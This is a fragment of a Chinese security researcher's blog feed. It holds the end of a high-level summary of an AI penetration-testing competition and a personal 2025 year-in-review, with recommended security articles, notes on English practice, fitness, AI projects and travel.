notion-block-30a0f0c5b87c811caed1dc92d9eb7aa0" data-id="30a0f0c5b87c811caed1dc92d9eb7aa0"><span><div id="30a0f0c5b87c811caed1dc92d9eb7aa0" class="notion-header-anchor"></div><a class="notion-hash-link" href="#30a0f0c5b87c811caed1dc92d9eb7aa0" title="趋势2: 从单体到分层（已验证）✅"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">趋势2: 从单体到分层（已验证）✅</span></span></h4><div class="notion-text notion-block-30a0f0c5b87c81c88f4fd6763652e675"><b>结论：</b></div><blockquote class="notion-quote notion-block-30a0f0c5b87c81ac8f46d12f4cdf12ab"><div>✅ <b>多Agent分工是主流，单Agent已淘汰</b></div></blockquote><div class="notion-text notion-block-30a0f0c5b87c8125bfecdf6b1262d95f"><b>行动建议：</b></div><ol start="1" class="notion-list notion-list-numbered notion-block-30a0f0c5b87c815eb828d260b4185224" style="list-style-type:decimal"><li>设计清晰的Agent分工</li></ol><ol start="2" class="notion-list notion-list-numbered notion-block-30a0f0c5b87c814bb5c9e83d483cde6a" style="list-style-type:decimal"><li>建立标准化通信协议</li></ol><ol start="3" class="notion-list notion-list-numbered notion-block-30a0f0c5b87c81e6bf81c830765786de" style="list-style-type:decimal"><li>实现可视化监控</li></ol><hr class="notion-hr notion-block-30a0f0c5b87c81f0aa4ec870a6a7c0d2"/><h4 class="notion-h notion-h3 notion-h-indent-2 notion-block-30a0f0c5b87c81098cd4dc84a6e06c41" data-id="30a0f0c5b87c81098cd4dc84a6e06c41"><span><div id="30a0f0c5b87c81098cd4dc84a6e06c41" class="notion-header-anchor"></div><a class="notion-hash-link" href="#30a0f0c5b87c81098cd4dc84a6e06c41" title="趋势3: 从无状态到有状态（进行中）⚠️"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">趋势3: 从无状态到有状态（进行中）⚠️</span></span></h4><div class="notion-text notion-block-30a0f0c5b87c8152b583f5de80978023"><b>结论：</b></div><blockquote class="notion-quote notion-block-30a0f0c5b87c818ab70cdb51549f3408"><div>⚠️ <b>Jupyter Kernel是最佳实践，但未普及</b></div></blockquote><div class="notion-text notion-block-30a0f0c5b87c81cabb48eb97a9db819a"><b>行动建议：</b></div><ol start="1" class="notion-list notion-list-numbered notion-block-30a0f0c5b87c8168b68fedea7e7fdc8e" style="list-style-type:decimal"><li>采用Jupyter Kernel</li></ol><ol start="2" class="notion-list notion-list-numbered notion-block-30a0f0c5b87c81b0beacd8faf288a4c9" style="list-style-type:decimal"><li>实现持久化记忆</li></ol><ol start="3" class="notion-list notion-list-numbered notion-block-30a0f0c5b87c8136845ae401d5805418" style="list-style-type:decimal"><li>建立ReMem机制</li></ol><hr class="notion-hr notion-block-30a0f0c5b87c81459503f8b6a817b781"/><h4 class="notion-h notion-h3 notion-h-indent-2 notion-block-30a0f0c5b87c81b1ab4ec58cec9046a9" data-id="30a0f0c5b87c81b1ab4ec58cec9046a9"><span><div id="30a0f0c5b87c81b1ab4ec58cec9046a9" class="notion-header-anchor"></div><a class="notion-hash-link" href="#30a0f0c5b87c81b1ab4ec58cec9046a9" title="趋势4: 从黑盒到白盒（进行中）⚠️"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">趋势4: 从黑盒到白盒（进行中）⚠️</span></span></h4><div class="notion-text notion-block-30a0f0c5b87c8191b7bed7ea39c23399"><b>结论：</b></div><blockquote class="notion-quote notion-block-30a0f0c5b87c81af9690da7bc3f80aff"><div>⚠️ <b>可观测性是工程化必备</b></div></blockquote><div class="notion-text notion-block-30a0f0c5b87c815e9016e8f80bf5e0fb"><b>行动建议：</b></div><ol start="1" class="notion-list notion-list-numbered notion-block-30a0f0c5b87c81428d63d0178ea99fd9" style="list-style-type:decimal"><li>实现可视化监控</li></ol><ol start="2" class="notion-list notion-list-numbered notion-block-30a0f0c5b87c81d5906bfa080ada3dba" style="list-style-type:decimal"><li>建立审计日志</li></ol><ol start="3" class="notion-list notion-list-numbered notion-block-30a0f0c5b87c81559931e488104a04f5" style="list-style-type:decimal"><li>支持人类介入</li></ol><hr class="notion-hr notion-block-30a0f0c5b87c8122a681ca370dca816c"/><h4 class="notion-h notion-h3 notion-h-indent-2 notion-block-30a0f0c5b87c81119a4df6ec5c2b8580" data-id="30a0f0c5b87c81119a4df6ec5c2b8580"><span><div id="30a0f0c5b87c81119a4df6ec5c2b8580" class="notion-header-anchor"></div><a class="notion-hash-link" href="#30a0f0c5b87c81119a4df6ec5c2b8580" title="趋势5: 从实验到产品（待突破）❌"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">趋势5: 从实验到产品（待突破）❌</span></span></h4><div class="notion-text notion-block-30a0f0c5b87c81faaea7d6e15ca3870c"><b>结论：</b></div><blockquote class="notion-quote notion-block-30a0f0c5b87c8129a8c5d6f5514b1612"><div>❌ <b>工程化是最大挑战，尚未突破</b></div></blockquote><div class="notion-text notion-block-30a0f0c5b87c81fc98add98fa6e25a12"><b>行动建议：</b></div><ol start="1" class="notion-list notion-list-numbered notion-block-30a0f0c5b87c81c3b886e23a94a32f39" style="list-style-type:decimal"><li>解决任务调度</li></ol><ol start="2" class="notion-list notion-list-numbered notion-block-30a0f0c5b87c8178a758fc29fe42e763" style="list-style-type:decimal"><li>实现会话隔离</li></ol><ol start="3" class="notion-list notion-list-numbered notion-block-30a0f0c5b87c81bca985ee20b8f5b760" style="list-style-type:decimal"><li>优化并发控制</li></ol><ol start="4" class="notion-list notion-list-numbered notion-block-30a0f0c5b87c815e8ca1d859e5aeb54b" style="list-style-type:decimal"><li>处理漏报误报</li></ol><ol start="5" class="notion-list notion-list-numbered notion-block-30a0f0c5b87c81118202f5d8a6120cfa" style="list-style-type:decimal"><li>提升召回率</li></ol><ol start="6" class="notion-list notion-list-numbered notion-block-30a0f0c5b87c81a9bef4f34c9f4da7f3" style="list-style-type:decimal"><li>实现SaaS化</li></ol><hr class="notion-hr notion-block-30a0f0c5b87c8111b37cef176cd921cb"/><hr class="notion-hr notion-block-30a0f0c5b87c811d8116ea75dab5747a"/><h3 class="notion-h notion-h2 notion-h-indent-1 notion-block-30a0f0c5b87c8183bb9bf9f24719eac8" data-id="30a0f0c5b87c8183bb9bf9f24719eac8"><span><div id="30a0f0c5b87c8183bb9bf9f24719eac8" class="notion-header-anchor"></div><a class="notion-hash-link" href="#30a0f0c5b87c8183bb9bf9f24719eac8" title="🎯 五、最终评价"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">🎯 五、最终评价</span></span></h3><h4 class="notion-h notion-h3 notion-h-indent-2 notion-block-30a0f0c5b87c8137abe3d6f709c79508" data-id="30a0f0c5b87c8137abe3d6f709c79508"><span><div id="30a0f0c5b87c8137abe3d6f709c79508" class="notion-header-anchor"></div><a class="notion-hash-link" href="#30a0f0c5b87c8137abe3d6f709c79508" title="大赛价值"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">大赛价值</span></span></h4><div class="notion-text notion-block-30a0f0c5b87c81758058fea3685ac0e7"><b>1. 验证了技术路线</b></div><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c8175b431e1ac94a2963a"><li>代码规划 &gt; Prompt工程</li></ul><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c813aa9fbda29ac668a55"><li>多Agent &gt; 单Agent</li></ul><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c81818091fc78dbc859c8"><li>工程化 &gt; 概念化</li></ul><div class="notion-text notion-block-30a0f0c5b87c81938673e22bd60f1263"><b>2. 展示了创新方向</b></div><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c81969250d2e0ecc64fd7"><li>Meta-Tooling（Antix）</li></ul><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c81599b0fcceda2ff55cf"><li>意图图谱（BinX）</li></ul><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c81a9992beeb78d782d44"><li>ReMem自进化（NeuroSploit）</li></ul><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c815a9ef3d145afeb6714"><li>顾问介入（yhy0）</li></ul><div class="notion-text notion-block-30a0f0c5b87c818b8b02e2408ffdcb83"><b>3. 明确了工程化挑战</b></div><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c81aa98e7d5bdeb2af83d"><li>CTF场景基本解决</li></ul><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c814f87d2dc3c0d3a1d7c"><li>实战工程化待突破</li></ul><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c81e6b76bd3a63001382e"><li>SaaS产品化是未来</li></ul><hr class="notion-hr notion-block-30a0f0c5b87c813ebbd2ee8f7f167a95"/><div class="notion-text notion-block-30a0f0c5b87c81ce8132f42431f16893"><b>致谢:</b></div><div class="notion-text notion-block-30a0f0c5b87c8154b18fe5b2b77ad924">感谢所有参赛战队的精彩分享，你们的创新推动了AI渗透测试技术的发展！</div><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c81ba8d48cca85c68843d"><li><b>长亭外</b> - 证明了代码规划的价值</li></ul><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c81f98792eeec31e9af37"><li><b>西安交大</b> - 展示了分布式架构的力量</li></ul><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c81a4b0dceed93dfe5c7e"><li><b>BinX</b> - 系统化的方法论</li></ul><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c81b79c37e158073c178e"><li><b>Antix</b> - 极简主义的智慧</li></ul><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c81a09f03f120246c1664"><li><b>NeuroSploit</b> - 自进化的创新</li></ul><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c8169b7c4e8f8a21e826e"><li><b>绿盟</b> - 蜂群架构的实践</li></ul><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c81d6af01e85221732265"><li><b>香港城市大学</b> - Hint Injection的巧思</li></ul><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c818bbae9e48d7b19a426"><li><b>yhy0</b> - 顾问机制的兜底策略</li></ul><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c815dae64d7bfbe6839dd"><li><b>所有战队</b> - 共同推动技术进步</li></ul><hr class="notion-hr notion-block-30a0f0c5b87c81e99247f590e22b86bd"/><div class="notion-text notion-block-30a0f0c5b87c81d7a8b2dbeaafabeac4"><b>THANKS ALL TEAMS!</b></div></main></div>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[2025总结]]></title>
            <link>http://www.cdxiaodong.life//article/2eb0f0c5-b87c-8009-a297-f03def633138</link>
            <guid>http://www.cdxiaodong.life//article/2eb0f0c5-b87c-8009-a297-f03def633138</guid>
            <pubDate>Sat, 17 Jan 2026 00:00:00 GMT</pubDate>
            <content:encoded><![CDATA[<div id="notion-article" class="mx-auto overflow-hidden "><main class="notion light-mode notion-page notion-block-2eb0f0c5b87c8009a297f03def633138"><div class="notion-viewport"></div><div class="notion-collection-page-properties"></div><div class="notion-callout notion-gray_background_co notion-block-3090f0c5b87c80df9d00c98630865f0a"><div class="notion-page-icon-inline notion-page-icon-span"><span class="notion-page-icon" role="img" aria-label="💡">💡</span></div><div class="notion-callout-text"><div class="notion-text notion-block-3090f0c5b87c80578425fd59f682924f">随着AI进步飞快，很多信息传递也越喜欢碎片化输出，所以这篇文章也按照碎片化输出。</div></div></div><div class="notion-blank notion-block-3070f0c5b87c80cc85c2c24dc046e8fc"> </div><div class="notion-text notion-block-3070f0c5b87c802ab742df02cd2b922e"><b>2025年我认为的十大文章推荐：</b></div><div class="notion-text notion-block-3070f0c5b87c804a9827ccbbd33ea99b">1.<b>黑客团伙如何用树莓派入侵银行ATM系统并取款数年 </b><a class="notion-link" href="https://favorite-article.cdxiaodong.life/%E9%BB%91%E5%AE%A2%E5%9B%A2%E4%BC%99%E5%A6%82%E4%BD%95%E7%94%A8%E6%A0%91%E8%8E%93%E6%B4%BE%E5%85%A5%E4%BE%B5%E9%93%B6%E8%A1%8CATM%E7%B3%BB%E7%BB%9F%E5%B9%B6%E5%8F%96%E6%AC%BE%E6%95%B0%E5%B9%B4%20(2025_11_21%2014%EF%BC%9A18%EF%BC%9A23).html" target="_blank" rel="noopener noreferrer">https://favorite-article.cdxiaodong.life/黑客团伙如何用树莓派入侵银行ATM系统并取款数年 (2025_11_21 14：18：23).html</a></div><div class="notion-text notion-block-3070f0c5b87c80b58d35ff911a595db5">2.<b>2025 年 11 月 18 日 Cloudflare 故障安全分析</b><a class="notion-link" href="https://favorite-article.cdxiaodong.life/2025%20%E5%B9%B4%2011%20%E6%9C%88%2018%20%E6%97%A5%20Cloudflare%20%E5%85%A8%E7%90%83%E6%95%85%E9%9A%9C%E5%88%86%E6%9E%90-%E6%B7%B1%E5%BA%A6%E5%AD%A6%E4%B9%A0ai%E9%94%99%E8%AF%AF%20---%20Cloudflare%20outage%20on%20November%2018%2C%202025%20(2025_11_19%2009%EF%BC%9A24%EF%BC%9A49).html" target="_blank" rel="noopener noreferrer">https://favorite-article.cdxiaodong.life/2025 年 11 月 18 日 Cloudflare 全球故障分析-深度学习ai错误 --- Cloudflare outage on November 18%2C 2025 (2025_11_19 09：24：49).html</a></div><div class="notion-text notion-block-3070f0c5b87c80a292eff78967f79241">3.<b>Black Hat深度议题：ECScape如何突破AWS ECS的IAM安全边界（附PoC）</b><a class="notion-link" href="https://favorite-article.cdxiaodong.life/Black%20Hat%E6%B7%B1%E5%BA%A6%E8%AE%AE%E9%A2%98%EF%BC%9AECScape%E5%A6%82%E4%BD%95%E7%AA%81%E7%A0%B4AWS%20ECS%E7%9A%84IAM%E5%AE%89%E5%85%A8%E8%BE%B9%E7%95%8C%EF%BC%88%E9%99%84PoC%EF%BC%89%20(2025_8_8%2015%EF%BC%9A27%EF%BC%9A12).html" target="_blank" rel="noopener noreferrer">https://favorite-article.cdxiaodong.life/Black Hat深度议题：ECScape如何突破AWS ECS的IAM安全边界（附PoC） (2025_8_8 15：27：12).html</a></div><div class="notion-text notion-block-3070f0c5b87c80f69f1fccaff7863971">4.<b>aws全局攻击路径</b><a class="notion-link" href="https://favorite-article.cdxiaodong.life/pathfinding.cloud%20-%20aws%E5%85%A8%E5%B1%80%E6%94%BB%E5%87%BB%E8%B7%AF%E5%BE%84%20(2025_12_19%2010%EF%BC%9A30%EF%BC%9A16).html" target="_blank" rel="noopener noreferrer">https://favorite-article.cdxiaodong.life/pathfinding.cloud - aws全局攻击路径 (2025_12_19 10：30：16).html</a></div><div class="notion-text notion-block-3070f0c5b87c80bd86a2c3dbd5c1011c">5.<b>Google Cloud Shell Container Escape</b><a class="notion-link" href="https://favorite-article.cdxiaodong.life/Google%20Cloud%20Shell%20Container%20Escape%20%EF%BD%9C%20by%20Bipin%20Jitiya%20%EF%BD%9C%20Dec%2C%202025%20%EF%BD%9C%20Medium%20(2025_12_17%2010%EF%BC%9A00%EF%BC%9A15).html" target="_blank" rel="noopener noreferrer">https://favorite-article.cdxiaodong.life/Google Cloud Shell Container Escape ｜ by Bipin Jitiya ｜ Dec%2C 2025 ｜ Medium (2025_12_17 10：00：15).html</a></div><div class="notion-text notion-block-3070f0c5b87c80a2bfb4dba578258f6d">6.<b>VMWare Workspace ONE Access</b><a class="notion-link" href="https://favorite-article.cdxiaodong.life/%E6%97%A0%E4%BA%A4%E4%BA%92%E6%94%BB%E5%87%BBVMWare%20Workspace%20ONE%20Access%20(2025_5_2%2013%EF%BC%9A20%EF%BC%9A12).html" target="_blank" rel="noopener noreferrer">https://favorite-article.cdxiaodong.life/无交互攻击VMWare Workspace ONE Access (2025_5_2 13：20：12).html</a></div><div class="notion-text notion-block-3070f0c5b87c8053821efb2b010797c8">7.<b>原创 Paper | Fuzz 工作流解析与 AI 引入方案分享 </b><a class="notion-link" href="https://favorite-article.cdxiaodong.life/%E5%8E%9F%E5%88%9B%20Paper%20%EF%BD%9C%20Fuzz%20%E5%B7%A5%E4%BD%9C%E6%B5%81%E8%A7%A3%E6%9E%90%E4%B8%8E%20AI%20%E5%BC%95%E5%85%A5%E6%96%B9%E6%A1%88%E5%88%86%E4%BA%AB%20(2025_2_27%2012%EF%BC%9A00%EF%BC%9A12).html" target="_blank" rel="noopener noreferrer">https://favorite-article.cdxiaodong.life/原创 Paper ｜ Fuzz 工作流解析与 AI 引入方案分享 (2025_2_27 12：00：12).html</a></div><div class="notion-text notion-block-3070f0c5b87c808e9f4cda0eb2562180">8.<b>AI for 安全攻防：自动化渗透 Agent 的工程设计与实践 </b><a class="notion-link" href="https://favorite-article.cdxiaodong.life/AI%20for%20%E5%AE%89%E5%85%A8%E6%94%BB%E9%98%B2%EF%BC%9A%E8%87%AA%E5%8A%A8%E5%8C%96%E6%B8%97%E9%80%8F%20Agent%20%E7%9A%84%E5%B7%A5%E7%A8%8B%E8%AE%BE%E8%AE%A1%E4%B8%8E%E5%AE%9E%E8%B7%B5%20(2025_11_30%2011%EF%BC%9A16%EF%BC%9A17).html" target="_blank" rel="noopener noreferrer">https://favorite-article.cdxiaodong.life/AI for 安全攻防：自动化渗透 Agent 的工程设计与实践 (2025_11_30 11：16：17).html</a>w</div><div class="notion-text notion-block-3070f0c5b87c80df934ac0d2a143501f">9.<b>学习一个价值4.7w刀的提示词注入思路 </b><a class="notion-link" href="https://favorite-article.cdxiaodong.life/%E5%A5%87%E5%AE%89%E4%BF%A1%E6%94%BB%E9%98%B2%E7%A4%BE%E5%8C%BA-%E5%AD%A6%E4%B9%A0%E4%B8%80%E4%B8%AA%E4%BB%B7%E5%80%BC4.7w%E5%88%80%E7%9A%84%E6%8F%90%E7%A4%BA%E8%AF%8D%E6%B3%A8%E5%85%A5%E6%80%9D%E8%B7%AF%20(2025_02_15%2015%EF%BC%9A08%EF%BC%9A12).html" target="_blank" rel="noopener noreferrer">https://favorite-article.cdxiaodong.life/奇安信攻防社区-学习一个价值4.7w刀的提示词注入思路 (2025_02_15 15：08：12).html</a></div><div class="notion-text notion-block-3070f0c5b87c80359dd7da9c5126cae3">10.<b>像风投一样规划技术研究</b><a class="notion-link" href="https://favorite-article.cdxiaodong.life/%E5%83%8F%E9%A3%8E%E6%8A%95%E4%B8%80%E6%A0%B7%E8%A7%84%E5%88%92%E6%8A%80%E6%9C%AF%E7%A0%94%E7%A9%B6%20(2025_12_17%2010%EF%BC%9A30%EF%BC%9A22).html" target="_blank" rel="noopener noreferrer">https://favorite-article.cdxiaodong.life/像风投一样规划技术研究 (2025_12_17 10：30：22).html</a></div><div class="notion-blank notion-block-3070f0c5b87c80d4b871d92df2c7b831"> </div><div class="notion-text notion-block-3070f0c5b87c8067aab9c8fd30edc3f6"><b>英语</b></div><div class="notion-text notion-block-3070f0c5b87c8083b294c175a1eb43e9">因为希望能多了解不同地方真实的信息还有更好的旅游、学习更先进的技术，25年下半年我开始尝试和外国友人进行free talk，产生了不少文化、技术、认知的碰撞。第一位认识的就是Benjamin本杰明，一个出生在加拿大比我大一岁的华裔小伙，虽然加拿大的待遇比国内高，但是发现我俩(包括大多数初入社会的同学)都有一定的共同点(比如舍不得花钱、定期存钱理财)，所以我俩聊的还挺投机，freetalk好几次了说话也变得更加直来直去。第二位要讨论的就是我的”徒弟“Ella，居住在Australia的华人，最开始认识是因为他是我的客户来着，当时工作流很火，我是最早一批使用这类工具的(当时处于还未火的发展阶段，因为兴趣使然对社区贡献了不少，甚至还跟n8n以色列技术总经理在zoom进行了一对一学习)，我也因此成为了好多客户的产品经理，Ella因为她在澳大利亚的工作流公司做stuff所以我认识了她，一开始还只是她付费向我请教知识，我为了结交朋友就免费带她一阵子，后面越了解才越发现她的事业状态和认知规划也是我蛮尊敬的(她可以做到一天只睡四个小时，可能是因为她之前在韩国留学的原因)，我最敬佩的一点是她的情绪排解方式(发布到朋友圈然后自己去宽慰自己)，这一点真的很勇敢，起初我还会觉得这样幼稚，因为在中国男生传统教育里就是有苦就得自己在心底慢慢消化，但是慢慢接触下来还是明白是我比她幼稚(也理解我比她小5岁来着)。第三位就是Alon，一位研究中国非物质文化遗产的以色列人，他说以色列即使科技发达但是也不太平、也可能遭遇到战争，其实所有国家的三观良好的老百姓还是不期望战争的(至少是期望战争不会降临到自己头上的)。等等还有认识很多人，三十多岁仍在德国留学量子力学的Kai(他说先进的量子力学技术得向中国朋友请教)，精通四种语言并想成为翻译官的Maria（虽然她当模特也是一个好胚子），居住在LA舅舅是好莱坞明星的Mariana，在乌兹别克斯坦出生但是北漂的Alex。越和他们聊天我越意识到中国和海外的差别(事实上只要你是受过中式教育的人你都很难会长时间出国，因为确实现在习惯的环境、文化和社会安全是其他国家不能给予你的。但是海外薪资当然还是比国内高很多的哈)</div><div class="notion-text notion-block-3070f0c5b87c80019273fa71d7df185b">By the way，最重要的是我感觉我的英语进步还是飞快的，起码交流的时候语速能跟我的中文语速一样快了，当然很多words还容易卡壳，明年我会更关注跟国外从事网络安全的朋友进行信息交流分享，起码这方面的words不能落下。</div><div class="notion-blank notion-block-3070f0c5b87c809bbaf1f72449874329"> </div><div class="notion-blank notion-block-3070f0c5b87c80399b1be9864f8e9d31"> </div><div class="notion-text notion-block-3070f0c5b87c8053b3aecf16fab9bc46"><b>健身，年轻人一定不能错过的事情。</b></div><div class="notion-text notion-block-3070f0c5b87c8035a1a6f62ae90592b5">两年前我有在学校自己健身过，每天60min空腹爬坡、引体、斯密斯卧推、高位下拉，哑铃臂屈伸真的是有啥做啥，那时候很兴奋引体能做接近二十个。连续几个月后发现居然一点肌肉不涨，然后体重还跌了。心态都崩了，后面就工作去了期间断断续续自己锻炼一直没怎么进步。到了新公司后终于下定决心报了私教课，起因是因为教练的那句话(“你报个私教并且好的身材可能需要1～3万块钱，但是你花20万也无法直接买大袄健康和身材”)，还有他的1米八六身高150体重但是臂围42cm六块腹肌(这个身材你去普通健身房一般都是见不到的)，实测下来我还是觉得做对了，两个半月肌肉涨了5.2斤、脂肪只涨了0.3斤，这说出去得吓死人。领导也说我更精神了，我每天生活也更自律了。体重也在慢慢涨上来。我的各个领导们也都是自律派，工作上卷的同时，生活和人生态度也都很卷很自律，像现充。有的人觉得怕健身会影响自己的事业发展，实则不然，我见到的听到的无论在哪个公司做高管的人都是对生活、对自己的健康是有态度的，他们即使很忙都会抽着别人午休的时间去健身或者跑步、足球等等有助于健康的事情。如果你无法做到这一点你可以现在尝试重视起来，虽然我不知道真的能不能“晚死”一点，但是让你自信这一点是可以提前享受到的。</div><div class="notion-blank notion-block-3070f0c5b87c806f9ba3f6adcb563009"> </div><div class="notion-text notion-block-3070f0c5b87c80619489d0974ef3bbc8"><b>AI</b></div><div class="notion-text notion-block-3070f0c5b87c80e680f0d7203fc6e72e">去年我完成和在进行的ai赋能：</div><div class="notion-text notion-block-3070f0c5b87c803ea36fdf075205464c">1.AI赋能威胁感知</div><div class="notion-text notion-block-3070f0c5b87c809d8787c806c440fda6">2.AI重构自动化渗透</div><div class="notion-text notion-block-3070f0c5b87c80e58eaac5dbad2b7e29">3.AI操控各种社交软件维护</div><div class="notion-text notion-block-3070f0c5b87c80f792efe2baa861dacb">4.opencawl自动化交易</div><div class="notion-text notion-block-3070f0c5b87c802a9c20e29f19cd9cb9">等等，真是感慨、AI进步太快了、一年前还是n8n,现在已经是claudecode-team了，一个月就得迭代一次，总有新的东西冒出来。</div><div class="notion-blank notion-block-3080f0c5b87c807faaecd0d2f689bdb6"> </div><div class="notion-blank notion-block-3080f0c5b87c80fca645e1d448beefc8"> </div><div class="notion-text notion-block-3080f0c5b87c8041872ce55ffb61834c"><b>关于安全：</b></div><div class="notion-text notion-block-3070f0c5b87c80f8862dc45d53db9d18">最近几年漏洞挖掘比较少，25年累计挖掘了2个cve、2个cnnvd，2个cnvd，一个专利证书</div><figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-3090f0c5b87c80d8bb2cc13c395ef1f5"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:132px;max-width:100%;flex-direction:column"><img style="object-fit:cover" src="https://www.notion.so/image/attachment%3A982b6437-e3bf-4116-92e8-129cba9493ab%3Aimage.png?table=block&amp;id=3090f0c5-b87c-80d8-bb2c-c13c395ef1f5&amp;t=3090f0c5-b87c-80d8-bb2c-c13c395ef1f5" alt="notion image" loading="lazy" decoding="async"/></div></figure><div class="notion-blank notion-block-3080f0c5b87c804d9fbeffc51fbc9200"> </div><div class="notion-blank notion-block-3080f0c5b87c80258d6ceae5fa59eab5"> </div><div class="notion-blank notion-block-3080f0c5b87c804ebad5e852f8d354fa"> </div><div class="notion-text notion-block-3080f0c5b87c807585f3c5c228b6f95c"><b>旅游：</b></div><div class="notion-text notion-block-3080f0c5b87c8055abaed8af024908c3">去年好像没怎么出去 但是爱上了海岛，越出去经历越加重“偏见”：人生的意义不在于长度，而在于厚度。我正在努力让事业上的“极客”去带动生活上的“极客”。</div><figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-3080f0c5b87c80acbb79f1d07f8fcdc5"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:144px;max-width:100%;flex-direction:column"><img style="object-fit:cover" src="https://www.notion.so/image/attachment%3A88559117-6b9f-4452-8ab6-2ab644d2e589%3A91b9bf0283e49399226a24549fe6d140.jpg?table=block&amp;id=3080f0c5-b87c-80ac-bb79-f1d07f8fcdc5&amp;t=3080f0c5-b87c-80ac-bb79-f1d07f8fcdc5" alt="notion image" loading="lazy" decoding="async"/></div></figure><div class="notion-text notion-block-3080f0c5b87c804f9163c6c3f5ff0f21">每次去不同的地方旅游都有收集地铁卡的习惯，满满一册子塞不下</div><figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-3080f0c5b87c8085b581efc177db63d8"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:144px;max-width:100%;flex-direction:column"><img style="object-fit:cover" src="https://www.notion.so/image/attachment%3A8329229b-3a8c-480f-a026-bd19db6c5182%3Aimage.png?table=block&amp;id=3080f0c5-b87c-8085-b581-efc177db63d8&amp;t=3080f0c5-b87c-8085-b581-efc177db63d8" alt="notion image" loading="lazy" 